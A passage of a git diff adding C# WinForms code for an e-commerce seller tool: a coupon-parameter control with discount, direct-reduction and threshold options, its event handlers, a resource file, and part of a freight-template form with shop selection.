this.flowLayoutPanel1.Controls.Add(this.nudCredit); + this.flowLayoutPanel1.Controls.Add(this.lblCreditText); + this.flowLayoutPanel1.Location = new System.Drawing.Point(840, 8); + this.flowLayoutPanel1.Name = "flowLayoutPanel1"; + this.flowLayoutPanel1.Size = new System.Drawing.Size(205, 23); + this.flowLayoutPanel1.TabIndex = 560; + // + // nudThresHold + // + this.nudThresHold.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.nudThresHold.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.nudThresHold.Location = new System.Drawing.Point(32, 0); + this.nudThresHold.Margin = new System.Windows.Forms.Padding(0); + this.nudThresHold.Maximum = new decimal(new int[] { + 99999, + 0, + 0, + 0}); + this.nudThresHold.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.nudThresHold.Name = "nudThresHold"; + this.nudThresHold.Size = new System.Drawing.Size(50, 23); + this.nudThresHold.TabIndex = 560; + this.nudThresHold.Value = new decimal(new int[] { + 10, + 0, + 0, + 0}); + this.nudThresHold.Visible = false; + // + // lblThresHold + // + this.lblThresHold.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.lblThresHold.Location = new System.Drawing.Point(82, 3); + this.lblThresHold.Margin = new System.Windows.Forms.Padding(0); + this.lblThresHold.Name = "lblThresHold"; + this.lblThresHold.Size = new System.Drawing.Size(16, 17); + this.lblThresHold.TabIndex = 559; + this.lblThresHold.Text = "减"; + this.lblThresHold.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.lblThresHold.Visible = false; + // + // nudCredit + // + this.nudCredit.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.nudCredit.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.nudCredit.DecimalPlaces = 1; + this.nudCredit.Increment = new decimal(new int[] { + 1, + 0, + 0, + 65536}); + this.nudCredit.Location = new System.Drawing.Point(98, 0); + this.nudCredit.Margin = new System.Windows.Forms.Padding(0); + this.nudCredit.Name = "nudCredit"; + this.nudCredit.Size = new System.Drawing.Size(50, 23); + this.nudCredit.TabIndex = 532; + this.nudCredit.Value = new decimal(new int[] { + 99, + 0, + 0, + 65536}); + // + // lblCreditText + // + this.lblCreditText.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.lblCreditText.Location = new System.Drawing.Point(148, 3); + this.lblCreditText.Margin = new System.Windows.Forms.Padding(0); + this.lblCreditText.Name = "lblCreditText"; + this.lblCreditText.Size = new System.Drawing.Size(16, 17); + this.lblCreditText.TabIndex = 531; + this.lblCreditText.Text = "折"; + this.lblCreditText.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + // + // lblDiscountText + // + this.lblDiscountText.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.lblDiscountText.Location = new System.Drawing.Point(0, 3); + this.lblDiscountText.Margin = new System.Windows.Forms.Padding(0); + this.lblDiscountText.Name = "lblDiscountText"; + this.lblDiscountText.Size = new System.Drawing.Size(32, 17); + this.lblDiscountText.TabIndex = 561; + this.lblDiscountText.Text = "折扣"; + this.lblDiscountText.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + // + // 商品直减券 + // + this.商品直减券.Text = "商品直减券"; + // + // 商品满减券 + // + this.商品满减券.Text = "商品满减券"; + // + // UcCouponAddParam + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.Controls.Add(this.label5); + this.Controls.Add(this.pnlTimePeriod); + this.Controls.Add(this.txtName); + this.Controls.Add(this.label8); + this.Controls.Add(this.rbNotReckonIn); + this.Controls.Add(this.lblMsg); + this.Controls.Add(this.rbReckonIn); + this.Controls.Add(this.line1); + this.Controls.Add(this.lblClose); + this.Controls.Add(this.label10); + this.Controls.Add(this.label9); + this.Controls.Add(this.label4); + this.Controls.Add(this.label13); + this.Controls.Add(this.label11); + this.Controls.Add(this.label6); + this.Controls.Add(this.cmbUserCountLimited); + this.Controls.Add(this.nudDays); + this.Controls.Add(this.nudTotalCount); + this.Controls.Add(this.label15); + this.Controls.Add(this.cmbType); + this.Controls.Add(this.label7); + this.Controls.Add(this.dtpEndApplyTime); + this.Controls.Add(this.dtpStartApplyTime); + this.Controls.Add(this.flowLayoutPanel1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "UcCouponAddParam"; + this.Size = new System.Drawing.Size(1180, 40); + ((System.ComponentModel.ISupportInitialize)(this.nudDays)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudTotalCount)).EndInit(); + this.pnlTimePeriod.ResumeLayout(false); + this.flowLayoutPanel1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.nudThresHold)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudCredit)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + private DevComponents.Editors.ComboItem cbi1; + private System.Windows.Forms.Label label15; + private System.Windows.Forms.Label label13; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.Label label10; + private DevComponents.Editors.ComboItem 商品折扣券; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label lblClose; + private DevComponents.DotNetBar.Controls.Line line1; + public DevComponents.DotNetBar.Controls.ComboBoxEx cmbUserCountLimited; + public System.Windows.Forms.NumericUpDown nudDays; + public System.Windows.Forms.NumericUpDown nudTotalCount; + public DevComponents.DotNetBar.Controls.ComboBoxEx cmbType; + public System.Windows.Forms.RadioButton rbNotReckonIn; + public System.Windows.Forms.RadioButton rbReckonIn; + public System.Windows.Forms.DateTimePicker dtpEndApplyTime; + public System.Windows.Forms.DateTimePicker dtpStartApplyTime; + public System.Windows.Forms.Label lblMsg; + public System.Windows.Forms.TextBox txtName; + public System.Windows.Forms.Panel pnlTimePeriod; + public System.Windows.Forms.DateTimePicker dtpStartUseTime; + public System.Windows.Forms.DateTimePicker dtpEndUseTime; + private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1; + public System.Windows.Forms.NumericUpDown nudThresHold; + public System.Windows.Forms.Label lblThresHold; + public System.Windows.Forms.NumericUpDown nudCredit; + public System.Windows.Forms.Label lblCreditText; + public System.Windows.Forms.Label lblDiscountText; + private DevComponents.Editors.ComboItem 商品直减券; + private DevComponents.Editors.ComboItem 商品满减券; + } +} diff --git a/TEMUKJD/KJDForms/SalesCenterForms/UcCouponAddParam.cs b/TEMUKJD/KJDForms/SalesCenterForms/UcCouponAddParam.cs new file mode 100644 index 0000000..7aaf236 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/UcCouponAddParam.cs @@ -0,0 +1,101 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + public partial class UcCouponAddParam : UserControl + { + int number = 1; + + public UcCouponAddParam() + { + InitializeComponent(); + + this.Load += CouponAddParamControl_Load; + } + + public UcCouponAddParam(int _number) + { + InitializeComponent(); + + number = _number; + this.Load += CouponAddParamControl_Load; + } + + public delegate void CloseCouponAdd(object obj); + public event CloseCouponAdd OnClose; + + private void CouponAddParamControl_Load(object sender, EventArgs e) + { + cmbType.SelectedIndex = cmbUserCountLimited.SelectedIndex = 0; + txtName.Text = "新人券" + number; + this.dtpStartApplyTime.Value = DateTime.Now.Date; + this.dtpEndApplyTime.Value = this.dtpStartApplyTime.Value.AddDays(1).AddSeconds(-1); + } + + private void lblClose_Click(object sender, EventArgs e) + { + if (this.Parent != null) + { + this.Parent.Controls.Remove(this); + OnClose?.Invoke(this); + } + } + + private void cmbType_SelectedIndexChanged(object sender, EventArgs e) + { + if (cmbType.Text == "商品折扣券") + { + this.lblDiscountText.Text = "折扣"; + this.lblDiscountText.AutoSize = true; + this.lblDiscountText.Width = 32; + nudCredit.Minimum = 0.1M; + nudCredit.Increment = 0.1M; + nudCredit.Maximum = 9.9M; + nudCredit.DecimalPlaces = 1; + nudCredit.Value = 9.9M; + lblCreditText.Text = "折"; + lblCreditText.Visible = true; + nudThresHold.Visible = false; + lblThresHold.Visible = false; + } + else if (cmbType.Text == "商品直减券") + { + this.lblDiscountText.Text = "直减"; + this.lblDiscountText.AutoSize = true; + this.lblDiscountText.Width = 32; + nudCredit.Minimum = 1; + nudCredit.Increment = 1; + nudCredit.Maximum = 1000; + nudCredit.DecimalPlaces = 0; + nudCredit.Value = 1; + lblCreditText.Text = "元"; + lblCreditText.Visible = true; + nudThresHold.Visible = false; + lblThresHold.Visible = false; + } + else + { + this.lblDiscountText.Text = "满"; + this.lblDiscountText.AutoSize = false; + this.lblDiscountText.Width = 16; + nudCredit.Minimum = 1; + nudCredit.Increment = 1; + nudCredit.Maximum = 99999; + nudCredit.DecimalPlaces = 0; + nudCredit.Value = 1; + lblCreditText.Text = "元"; + lblCreditText.Visible = false; + nudThresHold.Visible = true; + lblThresHold.Visible = true; + } + } + } +} diff --git a/TEMUKJD/KJDForms/SalesCenterForms/UcCouponAddParam.resx b/TEMUKJD/KJDForms/SalesCenterForms/UcCouponAddParam.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/UcCouponAddParam.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/FreightTemplateAddForm.Designer.cs b/TEMUKJD/KJDForms/ShopForms/FreightTemplateAddForm.Designer.cs new file mode 100644 index 0000000..9d51eaa --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/FreightTemplateAddForm.Designer.cs @@ -0,0 +1,572 @@ +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + partial class FreightTemplateAddForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.label12 = new System.Windows.Forms.Label(); + this.panel2 = new System.Windows.Forms.Panel(); + this.rbcost0 = new System.Windows.Forms.RadioButton(); + this.rbcost1 = new System.Windows.Forms.RadioButton(); + this.rbcost2 = new System.Windows.Forms.RadioButton(); + this.panel1 = new System.Windows.Forms.Panel(); + this.label10 = new System.Windows.Forms.Label(); + this.label11 = new System.Windows.Forms.Label(); + this.txtFixCost = new System.Windows.Forms.TextBox(); + this.groupTemplate = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.label4 = new System.Windows.Forms.Label(); + this.rbtype1 = new System.Windows.Forms.RadioButton(); + this.rbtype2 = new System.Windows.Forms.RadioButton(); + this.txtNum = new System.Windows.Forms.TextBox(); + this.label5 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.label8 = new System.Windows.Forms.Label(); + this.txtPrice = new System.Windows.Forms.TextBox(); + this.txtAddPrcie = new System.Windows.Forms.TextBox(); + this.label6 = new System.Windows.Forms.Label(); + this.label7 = new System.Windows.Forms.Label(); + this.txtAddNum = new System.Windows.Forms.TextBox(); + this.cobCity = new System.Windows.Forms.ComboBox(); + this.cobProvince = new System.Windows.Forms.ComboBox(); + this.label9 = new System.Windows.Forms.Label(); + this.btnSave = new LittleRabbit.UserControls.ButtonEx(); + this.label2 = new System.Windows.Forms.Label(); + this.txtTemplate = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvShop = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colShopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.panel2.SuspendLayout(); + this.panel1.SuspendLayout(); + this.groupTemplate.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.label12); + this.splitContainer1.Panel1.Controls.Add(this.panel2); + this.splitContainer1.Panel1.Controls.Add(this.panel1); + this.splitContainer1.Panel1.Controls.Add(this.groupTemplate); + this.splitContainer1.Panel1.Controls.Add(this.cobCity); + this.splitContainer1.Panel1.Controls.Add(this.cobProvince); + this.splitContainer1.Panel1.Controls.Add(this.label9); + this.splitContainer1.Panel1.Controls.Add(this.btnSave); + this.splitContainer1.Panel1.Controls.Add(this.label2); + this.splitContainer1.Panel1.Controls.Add(this.txtTemplate); + this.splitContainer1.Panel1.Controls.Add(this.label1); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Size = new System.Drawing.Size(894, 564); + this.splitContainer1.SplitterDistance = 110; + this.splitContainer1.TabIndex = 1; + // + // label12 + // + this.label12.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label12.AutoSize = true; + this.label12.BackColor = System.Drawing.Color.Transparent; + this.label12.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label12.ForeColor = System.Drawing.Color.Red; + this.label12.Location = new System.Drawing.Point(12, 73); + this.label12.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(248, 17); + this.label12.TabIndex = 421; + this.label12.Text = "运费模板设置,店铺需要登录,才能设置成功"; + this.label12.Visible = false; + // + // panel2 + // + this.panel2.Controls.Add(this.rbcost0); + this.panel2.Controls.Add(this.rbcost1); + this.panel2.Controls.Add(this.rbcost2); + this.panel2.Location = new System.Drawing.Point(346, 8); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(230, 25); + this.panel2.TabIndex = 401; + // + // rbcost0 + // + this.rbcost0.AutoSize = true; + this.rbcost0.Checked = true; + this.rbcost0.Location = new System.Drawing.Point(3, 3); + this.rbcost0.Name = "rbcost0"; + this.rbcost0.Size = new System.Drawing.Size(74, 21); + this.rbcost0.TabIndex = 340; + this.rbcost0.TabStop = true; + this.rbcost0.Text = "阶梯计价"; + this.rbcost0.UseVisualStyleBackColor = true; + this.rbcost0.CheckedChanged += new System.EventHandler(this.rbcost0_CheckedChanged); + // + // rbcost1 + // + this.rbcost1.AutoSize = true; + this.rbcost1.Location = new System.Drawing.Point(78, 3); + this.rbcost1.Name = "rbcost1"; + this.rbcost1.Size = new System.Drawing.Size(74, 21); + this.rbcost1.TabIndex = 341; + this.rbcost1.Text = "固定运费"; + this.rbcost1.UseVisualStyleBackColor = true; + this.rbcost1.CheckedChanged += new System.EventHandler(this.rbcost1_CheckedChanged); + // + // rbcost2 + // + this.rbcost2.AutoSize = true; + this.rbcost2.Location = new System.Drawing.Point(153, 3); + this.rbcost2.Name = "rbcost2"; + this.rbcost2.Size = new System.Drawing.Size(74, 21); + this.rbcost2.TabIndex = 342; + this.rbcost2.Text = "卖家包邮"; + this.rbcost2.UseVisualStyleBackColor = true; + this.rbcost2.CheckedChanged += new System.EventHandler(this.rbcost2_CheckedChanged); + // + // panel1 + // + this.panel1.Controls.Add(this.label10); + this.panel1.Controls.Add(this.label11); + this.panel1.Controls.Add(this.txtFixCost); + this.panel1.Location = new System.Drawing.Point(346, 35); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(142, 30); + this.panel1.TabIndex = 400; + this.panel1.Visible = false; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(2, 6); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(56, 17); + this.label10.TabIndex = 397; + this.label10.Text = "固定运费"; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(117, 7); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(20, 17); + this.label11.TabIndex = 399; + this.label11.Text = "元"; + // + // txtFixCost + // + this.txtFixCost.Location = new System.Drawing.Point(63, 3); + this.txtFixCost.Name = "txtFixCost"; + this.txtFixCost.Size = new System.Drawing.Size(49, 23); + this.txtFixCost.TabIndex = 398; + // + // groupTemplate + // + this.groupTemplate.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.groupTemplate.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.groupTemplate.Controls.Add(this.label4); + this.groupTemplate.Controls.Add(this.rbtype1); + this.groupTemplate.Controls.Add(this.rbtype2); + this.groupTemplate.Controls.Add(this.txtNum); + this.groupTemplate.Controls.Add(this.label5); + this.groupTemplate.Controls.Add(this.label3); + this.groupTemplate.Controls.Add(this.label8); + this.groupTemplate.Controls.Add(this.txtPrice); + this.groupTemplate.Controls.Add(this.txtAddPrcie); + this.groupTemplate.Controls.Add(this.label6); + this.groupTemplate.Controls.Add(this.label7); + this.groupTemplate.Controls.Add(this.txtAddNum); + this.groupTemplate.Location = new System.Drawing.Point(282, 35); + this.groupTemplate.Name = "groupTemplate"; + this.groupTemplate.Size = new System.Drawing.Size(514, 61); + this.groupTemplate.TabIndex = 396; + this.groupTemplate.TabStop = false; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(5, 35); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(56, 17); + this.label4.TabIndex = 346; + this.label4.Text = "默认运费"; + // + // rbtype1 + // + this.rbtype1.AutoSize = true; + this.rbtype1.Checked = true; + this.rbtype1.Location = new System.Drawing.Point(67, 4); + this.rbtype1.Name = "rbtype1"; + this.rbtype1.Size = new System.Drawing.Size(62, 21); + this.rbtype1.TabIndex = 344; + this.rbtype1.TabStop = true; + this.rbtype1.Text = "按件数"; + this.rbtype1.UseVisualStyleBackColor = true; + this.rbtype1.CheckedChanged += new System.EventHandler(this.rbtype1_CheckedChanged); + // + // rbtype2 + // + this.rbtype2.AutoSize = true; + this.rbtype2.Location = new System.Drawing.Point(142, 4); + this.rbtype2.Name = "rbtype2"; + this.rbtype2.Size = new System.Drawing.Size(62, 21); + this.rbtype2.TabIndex = 345; + this.rbtype2.Text = "按重量"; + this.rbtype2.UseVisualStyleBackColor = true; + this.rbtype2.CheckedChanged += new System.EventHandler(this.rbtype2_CheckedChanged); + // + // txtNum + // + this.txtNum.Location = new System.Drawing.Point(66, 32); + this.txtNum.Name = "txtNum"; + this.txtNum.Size = new System.Drawing.Size(49, 23); + this.txtNum.TabIndex = 347; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(118, 35); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(56, 17); + this.label5.TabIndex = 348; + this.label5.Text = "件以内,"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(4, 4); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(56, 17); + this.label3.TabIndex = 343; + this.label3.Text = "计价方式"; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(489, 35); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(20, 17); + this.label8.TabIndex = 354; + this.label8.Text = "元"; + // + // txtPrice + // + this.txtPrice.Location = new System.Drawing.Point(178, 32); + this.txtPrice.Name = "txtPrice"; + this.txtPrice.Size = new System.Drawing.Size(49, 23); + this.txtPrice.TabIndex = 349; + // + // txtAddPrcie + // + this.txtAddPrcie.Location = new System.Drawing.Point(437, 32); + this.txtAddPrcie.Name = "txtAddPrcie"; + this.txtAddPrcie.Size = new System.Drawing.Size(49, 23); + this.txtAddPrcie.TabIndex = 353; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(230, 35); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(68, 17); + this.label6.TabIndex = 350; + this.label6.Text = "元,每增加"; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(353, 35); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(80, 17); + this.label7.TabIndex = 352; + this.label7.Text = "件,增加运费"; + // + // txtAddNum + // + this.txtAddNum.Location = new System.Drawing.Point(301, 32); + this.txtAddNum.Name = "txtAddNum"; + this.txtAddNum.Size = new System.Drawing.Size(49, 23); + this.txtAddNum.TabIndex = 351; + // + // cobCity + // + this.cobCity.FormattingEnabled = true; + this.cobCity.Location = new System.Drawing.Point(181, 33); + this.cobCity.Name = "cobCity"; + this.cobCity.Size = new System.Drawing.Size(87, 25); + this.cobCity.TabIndex = 376; + // + // cobProvince + // + this.cobProvince.FormattingEnabled = true; + this.cobProvince.Location = new System.Drawing.Point(75, 33); + this.cobProvince.Name = "cobProvince"; + this.cobProvince.Size = new System.Drawing.Size(101, 25); + this.cobProvince.TabIndex = 375; + this.cobProvince.SelectedIndexChanged += new System.EventHandler(this.cobProvince_SelectedIndexChanged); + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(12, 35); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(56, 17); + this.label9.TabIndex = 374; + this.label9.Text = "发货地区"; + // + // btnSave + // + this.btnSave.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSave.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSave.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnSave.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSave.ForeColor = System.Drawing.Color.White; + this.btnSave.Location = new System.Drawing.Point(814, 37); + this.btnSave.Margin = new System.Windows.Forms.Padding(2); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(66, 26); + this.btnSave.TabIndex = 373; + this.btnSave.Text = "保存"; + this.btnSave.UseVisualStyleBackColor = false; + this.btnSave.Click += new System.EventHandler(this.btnSave_Click); + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(284, 9); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(56, 17); + this.label2.TabIndex = 339; + this.label2.Text = "运费设置"; + // + // txtTemplate + // + this.txtTemplate.Location = new System.Drawing.Point(74, 6); + this.txtTemplate.Name = "txtTemplate"; + this.txtTemplate.Size = new System.Drawing.Size(195, 23); + this.txtTemplate.TabIndex = 338; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(12, 9); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(56, 17); + this.label1.TabIndex = 337; + this.label1.Text = "模板名称"; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvShop); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 4, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.statusBar); + this.splitContainer2.Size = new System.Drawing.Size(894, 450); + this.splitContainer2.SplitterDistance = 420; + this.splitContainer2.TabIndex = 0; + // + // dgvShop + // + this.dgvShop.AllowUserToAddRows = false; + this.dgvShop.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvShop.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvShop.BackgroundColor = System.Drawing.Color.White; + this.dgvShop.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.dgvShop.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.dgvShop.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.Single; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvShop.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvShop.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvShop.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colShopId, + this.colShopName, + this.colStatus}); + this.dgvShop.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvShop.Location = new System.Drawing.Point(4, 0); + this.dgvShop.Name = "dgvShop"; + this.dgvShop.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvShop.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvShop.RowTemplate.Height = 23; + this.dgvShop.Size = new System.Drawing.Size(886, 420); + this.dgvShop.TabIndex = 7; + this.dgvShop.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellContentClick); + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "全选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 60; + // + // colShopId + // + this.colShopId.HeaderText = "店铺"; + this.colShopId.Name = "colShopId"; + this.colShopId.ReadOnly = true; + this.colShopId.Width = 80; + // + // colShopName + // + this.colShopName.FillWeight = 150F; + this.colShopName.HeaderText = "店铺名称"; + this.colShopName.Name = "colShopName"; + this.colShopName.ReadOnly = true; + this.colShopName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + // + // colStatus + // + this.colStatus.HeaderText = "消息"; + this.colStatus.Name = "colStatus"; + this.colStatus.ReadOnly = true; + this.colStatus.Width = 120; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(894, 26); + this.statusBar.TabIndex = 3; + // + // ShopFreightTemplateForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Inherit; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(894, 564); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, 